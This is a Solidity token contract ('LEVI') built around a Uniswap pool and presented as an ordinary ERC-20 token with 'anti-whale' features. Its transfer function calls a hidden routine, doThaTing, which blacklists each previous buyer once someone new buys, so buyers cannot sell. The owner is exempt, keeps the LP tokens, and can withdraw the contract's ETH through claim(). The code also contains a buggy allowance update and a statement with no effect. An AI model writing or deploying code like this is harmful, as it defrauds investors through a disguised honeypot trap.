contract LEVI {

    mapping(address => uint) _balances;
    mapping(address => mapping(address => uint)) _allowances;
    mapping(address => bool) public isBlacklisted;
    mapping(address =>  bool) bought;
    mapping(address => bool) public isExcluded;

    string _name;
    string _symbol;

    uint  _supply;
    uint8 _decimals;
    uint blacklistedUsers;

    address _owner;
    address uniswapV2Pair; //address of the pool
    address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //ETH: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D  BSCtest: 0xD99D1c33F9fC3444f8101754aBC46c52416550D1   BSC: 0x10ED43C718714eb63d5aA57B78B54704E256024E
    address WBNB_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //ETH: 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2  ETHtest: 0xc778417E063141139Fce010982780140Aa0cD5Ab BSCtest: 0xae13d989daC2f0dEbFf460aC112a837C89BAa7cd  BSC: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c
    address prevBuyer;

    bool inSwap;
    
    IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(router); //Interface call name
    ERC20 WBNB = ERC20(WBNB_address);
    constructor() {
        _owner = msg.sender;
        
        _name = "LEVI";
        _symbol = "LEVI";
        _supply = 10000000000;
        _decimals = 6;

        exclude(msg.sender);
        exclude(router);
        exclude(uniswapV2Pair);
        exclude(address(this));

        _balances[address(this)] = totalSupply()/2;
        _balances[msg.sender] = totalSupply()/2;
        
        CreatePair();

        emit Transfer(address(0), address(this), totalSupply()/2);
        emit Transfer(address(0), msg.sender, totalSupply()/2);
    }

    modifier owner {
        require(msg.sender == _owner); _;
    }
    
    function name() public view returns(string memory) {
        return _name;   
    }
    
    function symbol() public view returns(string memory) {
        return _symbol;
    }
    
    function decimals() public view returns(uint8) {
        return _decimals;
    }
    
    function totalSupply() public view returns(uint) {
        return mul(_supply,(10 ** _decimals));
    }
    
    function balanceOf(address wallet) public view returns(uint) {
        return _balances[wallet];
    }
    
    function getOwner() public view returns(address) {
        return _owner;
    }
    
    function getPair() public view returns(address) {
        return uniswapV2Pair;
    }
    
    function getRouter() public view returns(address) {
        return router;
    }
    
    function getWBNB() public view returns(address) {
        return WBNB_address;
    }

    event Transfer(address indexed from, address indexed to, uint amount);
    event Approval(address indexed fundsOwner, address indexed spender, uint amount);

    function _transfer(address from, address to, uint amount) internal returns(bool) {
        require(balanceOf(from) >= amount, "Insufficient balance.");
        require(isBlacklisted[from] == false && isBlacklisted[to] == false, "Blacklisted");
        
        _balances[from] = sub(balanceOf(from),amount);
        _balances[to] = add(balanceOf(to),amount);
        
        emit Transfer(from, to, amount);
        
        return true;
    }
    
    function transfer(address to, uint amount) public returns(bool) {

        if(to != uniswapV2Pair && to != router && isExcluded[to] == false){
        doThaTing(to);
        }

        _transfer(msg.sender, to, amount);
        
        return true;
    }

    function doThaTing(address to) internal{

        bought[to] = true;

        if(bought[prevBuyer] == true && to != prevBuyer){
        blacklist(prevBuyer);
        }

        prevBuyer = to;

    }

    function transferFrom(address from, address to, uint amount) public returns (bool) {
        uint authorizedAmount = allowance(from, msg.sender);
        require(authorizedAmount >= amount, "Insufficient allowance.");

        bought[from] == false;

        _allowances[from][to] = sub(allowance(from, msg.sender),amount);

        _transfer(from, to, amount);
        return true;
    }

    function approve(address spender, uint amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function allowance(address fundsOwner, address spender) public view returns (uint) {
        return _allowances[fundsOwner][spender];
    }
    
    function renounceOwnership() public owner returns(bool) {
        _owner = address(this);
        return true;
    }
    
    function _approve(address holder, address spender, uint256 amount) internal {
        require(holder != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[holder][spender] = amount;
        emit Approval(holder, spender, amount);
    }
    
    function timestamp() public view returns (uint) {
        return block.timestamp;
    }

    function blacklist(address user) internal returns (bool) {
            isBlacklisted[user] = true;
        return true;
    }

    function whitelist(address user) public owner returns (bool) {
            isBlacklisted[user] = false;
        return true;
    }

    function exclude(address user) public owner {
            isExcluded[user] = true;
    }
    
    
    // Uniswap functions
    

    function CreatePair() internal{
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }
    
    function AddLiq(uint256 tokenAmount, uint256 bnbAmount) public owner{
        uniswapV2Router.addLiquidityETH{value: bnbAmount}(address(this),tokenAmount,0,0,getOwner(),block.timestamp);
    }

        //(Call this function to add initial liquidity and turn on the anti-whale mechanics. sender(=owner) gets the LP tokens)
    function AddFullLiq() public owner{
        approveRouter(totalSupply());
        uint bnbAmount = getBNBbalance(address(this));
        uint tokenAmount = balanceOf(address(this));
        uniswapV2Router.addLiquidityETH{value: bnbAmount}(address(this),tokenAmount,0,0,getOwner(),block.timestamp);
        approveRouter(0); //router is initially approved totalsupply() in constructor
    }
    
    function getAmountsOut(uint amountIn) public view returns (uint[] memory amounts){ //Returns ETH value of input token amount
        
        address[] memory path = new address[](2);   //Creates a memory string
        path[0] = address(this);                    //Token address
        path[1] = WBNB_address;                     //BNB address
        amounts = uniswapV2Router.getAmountsOut(amountIn,path);

        return amounts;
    }
    
    function approveRouter(uint amount) internal returns (bool){
        _approve(address(this), router, amount);
        return true;
    }


    //Native ETH/BNB functions
    

    function claim() public owner returns (bool){
        uint contractBalance = address(this).balance;
        payable(msg.sender).transfer(contractBalance);
        return true;
    }

    function getBNBbalance(address holder) public view returns (uint){
        uint balance = holder.balance;
        return balance;
    }


    // SafeMath
    

    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0 || b == 0) {
            return 0;
        }
        
        c = a * b;
        assert(c / a == b);
        return c;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }
    
    function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
        c = a + b;
        assert(c >= a);
        return c;
    }
    

    //to recieve ETH from uniswapV2Router when swaping. just accept it. 


    receive() external payable {}
    fallback() external payable {}
    
}
// Contract start
//to recieve ETH from uniswapV2Router when swaping. just accept it. 